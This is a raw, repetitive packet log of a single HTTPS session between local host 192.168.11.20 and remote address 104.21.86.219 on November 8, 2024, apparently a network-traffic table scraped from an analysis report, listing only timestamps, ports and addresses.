                                                                                                                                          Nov 8, 2024 11:27:47.069365978 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.069499969 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.069525003 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.069576025 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.069665909 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.069665909 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.069719076 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.069742918 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.069842100 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.071156025 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.071214914 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.071311951 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.071312904 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.071351051 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.071372032 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.071372032 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.071372032 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.071470976 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.073471069 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.073513985 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.073607922 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.073607922 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.073637962 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.073662043 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.073662043 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.073704958 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.073754072 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.074985981 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.075028896 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.075105906 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.075201035 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.075217009 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.075308084 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.076733112 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.076786995 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.076886892 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.076886892 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.076915979 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.076987982 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.076987982 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.078581095 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.078624010 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.078728914 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.078773975 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.078773975 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.078794956 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.078823090 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.078823090 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.078924894 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.080420971 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.080471992 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.080733061 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.080760956 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.080843925 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.082340002 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.082381964 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.082601070 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.082632065 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.082933903 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.084260941 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.084316015 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.084481001 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.084481001 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.084525108 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.084603071 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.085613012 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.086004019 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.086056948 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.086179972 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.086224079 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.086224079 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.086247921 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.086319923 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.088501930 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.088558912 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.088737965 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.088737965 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.088737965 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.088793993 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.088820934 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.090122938 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.090187073 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.090307951 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.090307951 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.090352058 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.090370893 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.090496063 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.091449976 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.091516018 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.091593981 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.091593981 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.091633081 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.091660023 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.091660023 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.091706038 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.091757059 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.093348026 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.093415022 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.093485117 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.093518972 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.093533039 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.093533039 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.093585968 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.093585968 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.093633890 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.095611095 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.095654964 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.095748901 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.095804930 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.095838070 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.095856905 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.095886946 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.095973969 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.096016884 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.200906038 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.293692112 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.293725967 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.293929100 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.293929100 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.293956995 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.294047117 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.294133902 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.295607090 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.295641899 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.295767069 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.295767069 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.295809984 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.295820951 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.295860052 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.295907974 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.295968056 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.297439098 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.297472000 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.297559977 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.297686100 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.297686100 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.297719955 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.297744036 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.299990892 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.300909042 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.300947905 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.301081896 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.301143885 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.301143885 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.301158905 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.301240921 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.302778006 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.302804947 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.302953959 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.302970886 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.303031921 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.303033113 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.303162098 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.304501057 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.304534912 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.304734945 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.304734945 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.304758072 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.304869890 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.304953098 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.305660009 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.306118965 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.306147099 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.306297064 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.306396008 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.306406975 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.306577921 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.308073044 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.308109999 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.308279991 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.308279991 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.308316946 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.308341980 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.308341980 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.308475971 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.308810949 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.308974028 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.308974028 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.309066057 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.311064959 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.311114073 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.311222076 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.311300039 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.311300039 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.311336040 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.311356068 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.311356068 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.311485052 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.312757015 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.312793016 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.312937975 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.313033104 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.313033104 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.313066006 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.313240051 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.313700914 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.313890934 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.313925982 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.313952923 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.313972950 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.314100981 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.315432072 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.315466881 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.315622091 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.315622091 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.315659046 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.315659046 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.315676928 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.315706015 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.315824032 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.317658901 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.317697048 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.317846060 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.317846060 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.317883968 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.317902088 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.317959070 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.317959070 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.318065882 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.319236994 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.319271088 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.319416046 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.319416046 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.319437981 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.319504976 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.319513083 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.319580078 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.320945978 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.320966005 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.321154118 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.321154118 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.321173906 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.321185112 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.321185112 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.321331024 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.322993994 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.323013067 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.323131084 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.323131084 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.323175907 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.323184967 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.323230028 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.323230028 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.323364973 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.324366093 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.324384928 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.324630022 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.324644089 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.324696064 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.324776888 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.326503038 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.326519966 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.326618910 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.326714039 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.326719999 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.326807976 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.326909065 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.328345060 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.328361988 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.328514099 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.328514099 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.328538895 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.328550100 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.328625917 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.328625917 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.328726053 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.330014944 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.330033064 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.330239058 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.330250025 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.330286980 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.330384016 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.331835985 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.331845999 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.332015991 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.332015991 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.332031012 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.332036972 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.332154036 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.332252979 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.334301949 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.334312916 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.334666014 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.334666014 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.334675074 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.334917068 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.335658073 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.335669041 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.335830927 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.335875988 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.335875988 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.335880995 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.335928917 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.336064100 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.336111069 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.337399960 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.337412119 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.337769032 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.337781906 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.337937117 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.339787006 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.339798927 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.340140104 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.340140104 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.340218067 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.340218067 CET49729443192.168.11.20104.21.86.219
